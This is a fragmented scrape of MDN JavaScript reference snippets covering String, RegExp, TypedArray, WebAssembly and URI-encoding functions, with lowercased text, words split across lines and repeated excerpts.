ipt (ecma-262)the definition of 'regexp.prototype.compile' in that specification. ...
RegExp.prototype.test() - JavaScript
s stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax regexobj.test(str) parameters str the string against which to match the regular expression. returns true if there is a match between the regular expression and the string str. otherwise, false. descr
iption use test() whenever you want to know whether a pattern is found in a string. test() returns a boolean, unlike the string.prototype.search() method (which returns the index of a match, or -1 if not found). to get more information (but with slower execution), use the exec() method. (this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() ca...
... test() whenever you want to know whether a pattern is found in a string. test() returns a boolean, unlike the string.prototype.search() method (which returns the index of a match, or -1 if not found). to get more information (but with slower execution), use the exec() method. (this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() called mult
iple times on the same global regular expression instance will advance past the previous match. examples using test() simple example that tests if "hello" is contained at the very beginning of a string, returning a boolean result. const str = 'hello world!'; const result = /^hello/.test(str); console.log(result); // true the following example logs a message which depends on the success of the...
... ...
RegExp.prototype.toString() - JavaScript
the tostring() method returns a string representing the regular expression. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax regexobj.tostring(); return value a string representing the given object. descr
iption the regexp object overrides the tostring() method of the object object; it does not inherit object.prototype.tostring(). for regexp objects, the tostring() method returns a string representation of the regular expression. examples using tostring() the following example displays the string value of a regexp object: var myexp = new regexp('a+b+c'); console.log(myexp.tostring()); // logs '/a+b+...
...ing() method returns a string representation of the regular expression. ...
... ...
String.prototype.big() - JavaScript
the big() method creates a <big> html element that causes a string to be displayed in a big font. usage note: the <big> element has been removed in html5 and shouldn't be used anymore. instead web developers should use css properties. syntax str.big() return value a string containing a <big> html element. descr
iption the big() method embeds a string in a <big> tag: "<big>str</big>". examples using big() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <fontsize=7>hello, world</fontsize> with the element.style object you can get the element's s...
... ...
... ...
String.prototype.charAt() - JavaScript
character = str.charat(index) parameters index an integer between 0 and str.length - 1. if the index cannot be converted to the integer or no index is provided, the default is 0, so the first character of str is returned. return value a string representing the character (exactly one utf-16 code unit) at the specified index. if index is out of range, charat() returns an empty string. descr
iption characters in a string are indexed from left to right. the index of the first character is 0, and the index of the last character--in a string called stringname--is stringname.length - 1. if the index you supply is out of this range, javascr
ipt returns an empty string. if no index is provided to charat(), the default is 0. examples displaying characters at different locations in a string ...
... let str = 'a\ud87e\udc04z' // we could also use a non-bmp character directly for (let i = 0, chr; i < str.length; i++) { [chr, i] = getwhole...
... ...
String.prototype.codePointAt() - JavaScript
contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.codepointat(pos) parameters pos position of an element in str to return the code point value from. return value a number representing the code point value of the character at the given pos. if there is no element at pos, returns undefined. descr
iption if there is no element at the specified position, undefined is returned. if no utf-16 surrogate pair begins at pos, the code unit at pos is returned. polyfill the following extends strings to include the codepointat() function as specified in ecmascr
ipt 2015 for browsers without native support. /*! https://mths.be/codepointat v0.2.0 by @mathias */ if (!string.prototype.codepointat) { (...
... = string.charcodeat(index); var second; if ( // check if it's the start of a surrogate pair first >= 0xd800 && first <= 0xdbff && // high surrogate size > index + 1 // there is a next code unit ) { second = string.charcodeat(index + 1); if (second >= 0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascr
ipt-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return first; }; if (defineproperty) { defineproperty(string.prototype, 'codepointat', { 'value': codepointat, 'configurable': true, 'writable': true }); } else { string.prototype.codepointat = codepointat; } }()); ...
... ...
String.prototype.fontcolor() - JavaScript
the fontcolor() method creates a <font> html element that causes a string to be displayed in the specified font color. usage note: the <font> element has been removed in html5 and shouldn't be used anymore. instead web developers should use css properties. syntax str.fontcolor(color) parameters color a string expressing the color as a hexadecimal rgb tr
iplet or as a string literal. string literals for color names are listed in the css color reference. return value a string containing a <font> html element. descr
iption if you express color as a hexadecimal rgb tr
iplet, you must use the format rrggbb. for example, the hexadecimal rgb values for salmon are red=fa, green=80, and blue=72, so the rgb tr
iplet for salmon is "fa8072". examples using fontcolor() the following exam...
... ...
... ...
String.prototype.fontsize() - JavaScript
causes a string to be displayed in the specified font size. usage note: the <font> element has been removed in html5 and shouldn't be used anymore. instead web developers should use css properties. syntax str.fontsize(size) parameters size an integer between 1 and 7, a string representing a signed integer between 1 and 7. return value a string containing a <font> html element. descr
iption when you specify size as an integer, you set the font size of str to one of the 7 defined sizes. when you specify size as a string such as "-2", you adjust the font size of str relative to the size set in the <basefont> tag. examples using fontsize() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small(...
... ...
... ...
String.fromCharCode() - JavaScript
om/mdn/interactive-examples and send us a pull request. syntax string.fromcharcode(num1[, ...[, numn]]) parameters num1, ..., numn a sequence of numbers that are utf-16 code units. the range is between 0 and 65535 (0xffff). numbers greater than 0xffff are truncated. no validity checks are performed. return value a string of length n consisting of the n specified utf-16 code units. descr
iption this method returns a string and not a string object. because fromcharcode() is a static method of string, you always use it as string.fromcharcode(), rather than as a method of a string object you created. returning supplementary characters in utf-16, the most common characters can be represented by a single 16-bit value (i.e. a code unit). however, this set of characters, known as the ...
...ates used to represent a supplementary character is known as a surrogate pair. because fromcharcode() only works with 16-bit values (same as the \u escape sequence), a surrogate pair is required in order to return a supplementary character. for example, both string.fromcharcode(0xd83c, 0xdf03) and \ud83c\udf03 return code point u+1f303 "night with stars". while there is a mathematical relationsh
ip between the supplementary code point value (e.g. 0x1f303) and both surrogate values that represent it (e.g., 0xd83c and 0xdf03), it does require an extra step to either calculate or look up the surrogate pair values every time a supplementary code point is to be used. for this reason, it's more convenient to use string.fromcodepoint() (part of the es2015 standard), which allows for returning supp...
...014 complete utf 16 table. supplementary characters, in utf-16, require two code units (i.e. a surrogate pair): string.fromcharcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcharcode(0xd834, 0xdf06, 0x61, 0xd834, 0xdf07); // "\ud834\udf06a\ud834\udf07" specifications specification ecmascr
ipt (ecma-262)the definition of 'string.fromcharcode' in that specification. ...
String.fromCodePoint() - JavaScript
tps://github.com/mdn/interactive-examples and send us a pull request. syntax string.fromcodepoint(num1[, ...[, numn]]) parameters num1, ..., numn a sequence of code points. return value a string created by using the specified sequence of code points. exceptions a rangeerror is thrown if an invalid unicode code point is given (e.g. "rangeerror: nan is not a valid code point"). descr
iption this method returns a string (and not a string object). because fromcodepoint() is a static method of string, you must call it as string.fromcodepoint(), rather than as a method of a string object you created. polyfill the string.fromcodepoint() method has been added to ecmascr
ipt 2015 and may not be supported in all web browsers or environments yet. use the code below for a polyfill: ...
...= codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push(codepoint); } else { // astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascr
ipt-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return resul...
... ...
String.prototype.localeCompare() - JavaScript
which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent. see the intl.collator() constructor for details on these parameters and how to use them. return value a negative number if referencestr occurs before comparestring; positive if the referencestr occurs after comparestring; 0 if they are equivalent. descr
iption returns an integer indicating whether the referencestr comes before, after or is equivalent to the comparestring. negative when the referencestr occurs before comparestring positive when the referencestr occurs after comparestring returns 0 if they are equivalent do not rely on exact return values of -1 or 1! negative and positive integer results vary between browsers (as well as b...
... ...
... ...
String.prototype.match() - JavaScript
as explained above, some results contain additional properties as described below. groups an object of named capturing groups whose keys are the names and values are the capturing groups or undefined if no named capturing groups were defined. see groups and ranges for more information. index the index of the search at which the result was found. input a copy of the search string. descr
iption if the regular expression does not include the g flag, str.match() will return the same result as regexp.exec(). other methods if you need to know if a string matches a regular expression regexp, use regexp.test(). if you only want the first match found, you might want to use regexp.exec() instead. if you want to obtain capture groups and the global flag is set, you need to use regexp.
...hing will come of nothing."; str.match(); // returns [""] a non-regexp object as the parameter when the regexp parameter is a string or a number, it is implicitly converted to a regexp by using new regexp(regexp). if it is a positive number with a positive sign, regexp() will ignore the positive sign. const str1 = "nan means not a number. infinity contains -infinity and +infinity in javascr
ipt.", str2 = "my grandfather is 65 years old and my grandmother is 63 years old.", str3 = "the contract was declared null and void."; str1.match("number"); // "number" is a string. returns ["number"] str1.match(nan); // the type of nan is the number. returns ["nan"] str1.match(infinity); // the type of infinity is the number. returns ["infinity"] str1.match(+infinity); // return...
...str1.match(infinity); // the type of infinity is the number. returns ["infinity"] str1.match(+infinity); // returns ["infinity"] str1.match(-infinity); // returns ["-infinity"] str2.match(65); // returns ["65"] str2.match(+65); // a number with a positive sign. returns ["65"] str3.match(null); // returns ["null"] specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.match' in that specification. ...
String.prototype.normalize() - JavaScript
ecomposition, followed by canonical composition. "nfd" canonical decomposition. "nfkc" compatibility decomposition, followed by canonical composition. "nfkd" compatibility decomposition. return value a string containing the unicode normalization form of the given string. errors thrown rangeerror a rangeerror is thrown if form isn't one of the values specified above. descr
iption unicode assigns a unique numerical value, called a code point, to each character. for example, the code point for "a" is given as u+0041. however, sometimes more than one code point, or sequence of code points, can represent the same abstract character -- the character "n" for example can be represented by either of: the single code point u+00f1. the code point for "n" (u+006e) followed ...
...ring1.normalize('nfd'); string2 = string2.normalize('nfd'); console.log(string1 === string2); // true console.log(string1.length); // 2 console.log(string2.length); // 2 composed and decomposed forms note that the length of the normalized form under "nfd" is 2. that's because "nfd" gives you the decomposed version of the canonical form, in which single code points are split into mult
iple combining ones. the decomposed canonical form for "n" is "\u006e\u0303". you can specify "nfc" to get the composed canonical form, in which mult
iple code points are replaced with single code points where possible. the composed canonical form for "n" is "\u00f1": let string1 = '\u00f1'; // n let string2 = '\u006e\u0303'; // n string1 = string1.nor...
... ...
String.prototype.repeat() - JavaScript
rs count an integer between 0 and +infinity, indicating the number of times to repeat the string. return value a new string containing the specified number of copies of the given string. exceptions rangeerror: repeat count must be non-negative. rangeerror: repeat count must be less than infinity and not overflow maximum string size. ...
...e number of times to repeat the string. return value a new string containing the specified number of copies of the given string. exceptions rangeerror: repeat count must be non-negative. rangeerror: repeat count must be less than infinity and not overflow maximum string size. polyfill this method has been added to the ecmascr
ipt 2015 specification and may not be available in all javascr
ipt implementations yet. however, you can polyfill string.prototype.repeat() with the following sn
ippet: if (!string.prototype.repeat) { string.prototype.repeat = function(count) { 'use strict'; if (this == null) throw new typeerror('can\'t convert ' + this + ' to object'); var str = '' + this; // to convert string to integer. count = +count; // check nan if (co...
... ...
String.prototype.replaceAll() - JavaScript
ecifying a string as a parameter" section below. function (replacement) a function to be invoked to create the new substring to be used to replace the matches to the given regexp or substr. the arguments supplied to this function are described in the "specifying a function as a parameter" section below. return value a new string, with all matches of a pattern replaced by a replacement. descr
iption this method does not change the calling string object. it simply returns a new string. specifying a string as a parameter the replacement string can include the following special replacement patterns: pattern inserts $$ inserts a "$". $& inserts the matched substring. $` inserts the portion of the string that precedes the matched substri...
...this is 1-indexed. specifying a function as a parameter you can specify a function as the second parameter. in this case, the function will be invoked after the match has been performed. the function's result (return value) will be used as the replacement string. (note: the above-mentioned special replacement patterns do not apply in this case.) note that the function will be invoked mult
iple times for each full match to be replaced if the regular expression in the first parameter is global. the arguments to the function are as follows: possible name supplied value match the matched substring. (corresponds to $& above.) p1, p2, ... the nth string found by a parenthesized capture group, provided the first argument to replace() was a regexp ob...
... ...
String.prototype.small() - JavaScript
the small() method creates a <small> html element that causes a string to be displayed in a small font. syntax str.small() return value a string containing a <small> html element. descr
iption the small() method embeds a string in a <small> tag: "<small>str</small>". ...
... ...
... ...
String.prototype.substring() - JavaScript
one https://github.com/mdn/interactive-examples and send us a pull request. syntax str.substring(indexstart[, indexend]) parameters indexstart the index of the first character to include in the returned substring. indexend optional the index of the first character to exclude from the returned substring. return value a new string containing the specified part of the given string. descr
iption substring() extracts characters from indexstart up to but not including indexend. in particular: if indexend is omitted, substring() extracts characters to the end of the string. if indexstart is equal to indexend, substring() returns an empty string. if indexstart is greater than indexend, then the effect of substring() is as if the two arguments were swapped; see example below. any ...
...nd substr() there's a subtle difference between the substring() and substr() methods, so you should be careful not to get them confused. the arguments of substring() represent the starting and ending indexes, while the arguments of substr() represent the starting index and the number of characters to include in the returned string. furthermore, substr() is considered a legacy feature in ecmascr
ipt and could be removed from future versions, so it is best to avoid using it if possible. let text = 'mozilla' console.log(text.substring(2,5)) // => "zil" console.log(text.substr(2,3)) // => "zil" differences between substring() and slice() the substring() and slice() methods are almost identical, but there are a couple of subtle differences between the two, especially in the way negative...
...ace 'world' with 'otherworld' here. a better method for replacing strings is as follows: function replacestring(olds, news, fulls) { return fulls.split(olds).join(news) } the code above serves as an example for substring operations. if you need to replace substrings, most of the time you will want to use string.prototype.replace(). specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.substring' in that specification. ...
String.prototype.sup() - JavaScript
the sup() method creates a <sup> html element that causes a string to be displayed as superscr
ipt. syntax str.sup() return value a string containing a <sup> html element. descr
iption the sup() method embeds a string in a <sup> tag: "<sup>str</sup>". ...
... the sup() method creates a <sup> html element that causes a string to be displayed as superscr
ipt. syntax str.sup() return value a string containing a <sup> html element. descr
iption the sup() method embeds a string in a <sup> tag: "<sup>str</sup>". ...
... <sup> html element that causes a string to be displayed as superscr
ipt. syntax str.sup() return value a string containing a <sup> html element. descr
iption the sup() method embeds a string in a <sup> tag: "<sup>str</sup>". examples using sub() and sup() methods the following example uses the sub() and sup() methods to format a string: var supertext = 'superscr
ipt'; var subtext = 'subscr
ipt'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // "this is what a <sup>superscr
ipt</sup> looks like." console.log('this is what a ' + subtext.sub() + ' looks like.'); // "this is what a <sub>subscr
ipt</sub> looks like." specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.sup' in that specification. ...
String.prototype.toLocaleLowerCase() - JavaScript
ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.tolocalelowercase() str.tolocalelowercase(locale) str.tolocalelowercase([locale, locale, ...]) parameters locale optional the locale parameter indicates the locale to be used to convert to lower case according to any locale-specific case mappings. if mult
iple locales are given in an array, the best available locale is used. the default locale is the host environment's current locale. return value a new string representing the calling string converted to lower case, according to any locale-specific case mappings. exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag. a typeerror ("in...
...host environment's current locale. return value a new string representing the calling string converted to lower case, according to any locale-specific case mappings. exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag. a typeerror ("invalid element in locales argument") is thrown if an array element isn't of type string. descr
iption the tolocalelowercase() method returns the value of the string converted to lower case according to any locale-specific case mappings. tolocalelowercase() does not affect the value of the string itself. in most cases, this will produce the same result as tolowercase(), but for some locales, such as turkish, whose case mappings do not follow the default case mappings in unicode, there may be ...
...ay be a different result. examples using tolocalelowercase() 'alphabet'.tolocalelowercase(); // 'alphabet' '\u0130'.tolocalelowercase('tr') === 'i'; // true '\u0130'.tolocalelowercase('en-us') === 'i'; // false let locales = ['tr', 'tr', 'tr-tr', 'tr-u-co-search', 'tr-x-turkish']; '\u0130'.tolocalelowercase(locales) === 'i'; // true specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.tolocalelowercase' in that specification. ecmascr
ipt internationalization api (ecma-402)the definition of 'string.prototype.tolocalelowercase' in that specification. ...
Symbol.toStringTag - JavaScript
it is accessed internally by the object.prototype.tostring() method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...g.call(null); // "[object null]" // ... and more built-in tostringtag symbols object.prototype.tostring.call(new map()); // "[object map]" object.prototype.tostring.call(function* () {}); // "[object generatorfunction]" object.prototype.tostring.call(promise.resolve()); // "[object promise]" // ... ...
... ...
Symbol.unscopables - JavaScript
ll-known symbol is used to specify an object value of whose own and inherited property names are excluded from the with environment bindings of the associated object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. descr
iption the @@unscopables symbol (symbol.unscopables) can be defined on any object to exclude property names from being exposed as lexical variables in with with environment bindings. note that if using strict mode, with statements are not available and will likely also not need this symbol. setting a property to true in an unscopables object will make it unscopable and therefore it won't appear in...
...variables. setting a property to false will make it scopable and thus it will appear in lexical scope variables. property attributes of symbol.unscopables writable no enumerable no configurable no examples scoping in with statements the following code works fine in es5 and below. however, in ecmascr
ipt 2015 and later, the array.prototype.keys() method was introduced. that means that inside with environment "keys" would now be the method and not the variable. that's when the unscopables symbol was introduced. a built-in unscopables setting is implemented as array.prototype[@@unscopables] to prevent that some of the array methods are being scoped into the with statement. var keys = []; with (a...
... ...
TypedArray.prototype.filter() - JavaScript
es and send us a pull request. syntax typedarray.filter(callback[, thisarg]) parameters callback function to test each element of the typed array. invoked with arguments (element, index, typedarray). return true to keep the element, false otherwise. thisarg optional value to use as this when executing callback. return value a new typed array with the elements that pass the test. descr
iption the filter() method calls a provided callback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. typed array elements which...
...allback function once for each element in a typed array, and constructs a new typed array of all the values for which callback returns a true value. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. typed array elements which do not pass the callback test are simply sk
ipped, and are not included in the new typed array. callback is invoked with three arguments: the value of the element the index of the element the typed array object being traversed if a thisarg parameter is provided to filter, it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. the this value ultim...
... ...
TypedArray.prototype.set() - JavaScript
the set() method stores mult
iple values in the typed array, reading input values from a specified array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.set(array[, offset]) typedarray.set(typedarray[, offset]) parameters array the array from which to copy values. all values from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in which case an exception is thrown. ...
...ypedarray[, offset]) parameters array the array from which to copy values. all values from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in which case an exception is thrown. typedarray if the source array is a typed array, the two arrays may share the same underlying arraybuffer; the javascr
ipt engine will intelligently copy the source range of the buffer to the destination range. offset optional the offset into the target array at which to begin writing values from the source array. if this value is omitted, 0 is assumed (that is, the source array will overwrite values in the target array starting at index 0). exceptions a rangeerror, if the offset is set such as it would store b...
...e values in the target array starting at index 0). exceptions a rangeerror, if the offset is set such as it would store beyond the end of the typed array. examples using set() var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascr
ipt (ecma-262)the definition of 'typedarray.prototype.set' in that specification. ...
TypedArray.prototype.slice() - JavaScript
ment through the fourth element (elements indexed 1, 2, and 3). a negative index can be used, indicating an offset from the end of the sequence. slice(2,-1) extracts the third element through the second-to-last element in the sequence. if end is omitted, slice extracts through the end of the sequence (typedarray.length). return value a new typed array containing the extracted elements. descr
iption the slice method does not alter. it returns a shallow copy of elements from the original typed array. if a new element is added to either typed array, the other typed array is not affected. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. if (!uint8array.prototype.slice) { object.defineproperty(uint8array.prototype, 's...
...ffected. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. if (!uint8array.prototype.slice) { object.defineproperty(uint8array.prototype, 'slice', { value: function (begin, end) { return new uint8array(array.prototype.slice.call(this, begin, end)); } }); } if you need to support truly obsolete javascr
ipt engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples return a portion of an existing typed array const uint8 = new uint8array([1,2,3]); uint8.slice(1); // uint8array [ 2, 3 ] uint8.slice(2); // uint8array [ 3 ] uint8.slice(-2); // uint8array [ 2, 3 ] uint8.slice(0,1); // uint8array [ 1...
... not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples return a portion of an existing typed array const uint8 = new uint8array([1,2,3]); uint8.slice(1); // uint8array [ 2, 3 ] uint8.slice(2); // uint8array [ 3 ] uint8.slice(-2); // uint8array [ 2, 3 ] uint8.slice(0,1); // uint8array [ 1 ] specifications specification ecmascr
ipt (ecma-262)the definition of '%typedarray%.prototype.slice' in that specification. ...
TypedArray.prototype.some() - JavaScript
arguments: currentvalue the current element being processed in the typed array. index the index of the current element being processed in the typed array. array the typed array some was called upon. thisarg optional. value to use as this when executing callback. return value true if the callback function returns a truthy value for any array element; otherwise, false. descr
iption the some method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value. if such an element is found, some immediately returns true. otherwise, some returns false. callback is invoked with three arguments: the value of the element, the index of the element, and the array object being traversed. if a thisarg para...
... typed array on which it is called. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.some if (!uint8array.prototype.some) { object.defineproperty(uint8array.prototype, 'some', { value: array.prototype.some }); } if you need to support truly obsolete javascr
ipt engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples testing size of all typed array elements the following example tests whether any element in the typed array is bigger than 10. function isbiggerthan10(element, index, array) { return element > 10; } new uint8array([2, 5, 8, 1, 4]).some...
... ...
WebAssembly.CompileError - JavaScript
.compileerror.prototype.stack stack trace. inherited from error. instance methods webassembly.compileerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.compileerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. des...
...og(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascr
ipt interfacethe definition of 'webassembly constructors' in that specification. ecmascr
ipt (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfir...
WebAssembly.Instance - JavaScript
read-only. ...
...read-only. ...
...ike this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); this also demonstrates how the exports property is used to access exported functions. specifications specification webassembly javascr
ipt interfacethe definition of 'instance' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox...
WebAssembly.LinkError - JavaScript
webassembly.linkerror.prototype.stack stack trace. inherited from error. instance methods webassembly.linkerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.linkerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserve...
...or" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascr
ipt interfacethe definition of 'linkerror' in that specification. ecmascr
ipt (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfir...
WebAssembly.Memory() constructor - JavaScript
the webassembly.memory() constructor creates a new memory object whose buffer property is a resizable arraybuffer or sharedarraybuffer that holds the raw bytes of memory accessed by a webassembly instance. a memory created by javascr
ipt or in webassembly code will be accessible and mutable from both javascr
ipt and webassembly. syntax new webassembly.memory(memorydescr
iptor); parameters memorydescr
iptor an object that can contain the following members: initial the initial size of the webassembly memory, in units of webassembly pages. maximum optional the maximum size the webassembly memory is allowed to grow to, in units of webassembly pages. when present, the maximum parameter acts as a hint to the engine to reserve memory up front. however, the engine may ignore or clamp ...
...ne may ignore or clamp this reservation request. unshared webassembly memories don't need to set a maximum, but shared memories do. shared optional a boolean value that defines whether the memory is a shared memory or not. if set to true, it is a shared memory. the default is false. note: a webassembly page has a constant size of 65,536 bytes, i.e., 64kib. exceptions if memorydescr
iptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. examples creating a new memory instance there are two ways to get a webassembly.memory object. the first way is to construct it from javascr
ipt. the following example creates a new webassembly memory instance with an initial size of 10 pages (640kib), and a maximum si...
...og(sum); }); creating a shared memory by default, webassembly memories are unshared. you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared:true}); this memory's buffer property will return a sharedarraybuffer. specifications specification webassembly javascr
ipt interfacethe definition of 'memory' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox f...
WebAssembly.RuntimeError - JavaScript
.runtimeerror.prototype.stack stack trace. inherited from error. instance methods webassembly.runtimeerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.runtimeerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. des...
...og(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascr
ipt interfacethe definition of 'webassembly constructors' in that specification. ecmascr
ipt (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfir...
decodeURIComponent() - JavaScript
om/mdn/interactive-examples and send us a pull request. syntax decodeuricomponent(encodeduri) parameters encodeduri an encoded component of a uniform resource identifier. return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component. exceptions throws an urierror ("malformed uri sequence") exception when used wrongly. ...
... return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component. exceptions throws an urierror ("malformed uri sequence") exception when used wrongly. descr
iption replaces each escape sequence in the encoded uri component with the character that it represents. examples decoding a cyrillic url component decodeuricomponent('javascr
ipt_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascr
ipt_?????" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a url decodeuricomponent cannot be used directly to parse query parameters from a url. it needs a bit of preparation. function decodequeryparam(p) { return decodeurico...
... ...
encodeURI() - JavaScript
o "surrogate" characters). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax encodeuri(uri) parameters uri a complete uri. return value a new string representing the provided string encoded as a uri. descr
iption the encodeuri() function does not encode characters that have special meaning (reserved characters) for a uri. the following example shows all the parts that a uri "scheme" can possibly contain. note how certain characters are used to signify special meaning: http://username:password@www.example.com:80/path/to/file.php?foo=316&bar=this+has+spaces#anchor hence encodeuri() does not encode ch...
...urrogate throws an urierror will be thrown if one attempts to encode a surrogate which is not part of a high-low pair, e.g., // high-low pair ok console.log(encodeuri('\ud800\udfff')); // lone high surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\udfff')); encoding for
ipv6 if one wishes to follow the more recent rfc3986 for urls, which makes square brackets reserved (for
ipv6) and thus not encoded when forming something which could be part of a url (such as a host), the following code sn
ippet may help: function fixedencodeuri(str) { return encodeuri(str).replace(/%5b/g, '[').replace(/%5d/g, ']'); } specifications specification ecmasc...
... ...
escape() - JavaScript
andards"), it is defined in annex b of the ecma-262 standard, whose introduction states: ... all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification. ... ... programmers should not use or assume the existence of these features and behaviours when writing new ecmascr
ipt code. ... the escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. note: this function was used mostly for url queries (the part of a url following ?)--not for escaping ordinary string literals, which use the format "\xhh". (hh are two hexadecimal digits, and the form \xhh\xhh is used for higher-plane unicode characters.) e...
...use the format "\xhh". (hh are two hexadecimal digits, and the form \xhh\xhh is used for higher-plane unicode characters.) escaped characters in string literals can be expanded by replacing the \x with %, then using the decodeuricomponent() function. syntax escape(str) parameters str a string to be encoded. return value a new string in which certain characters have been escaped. descr
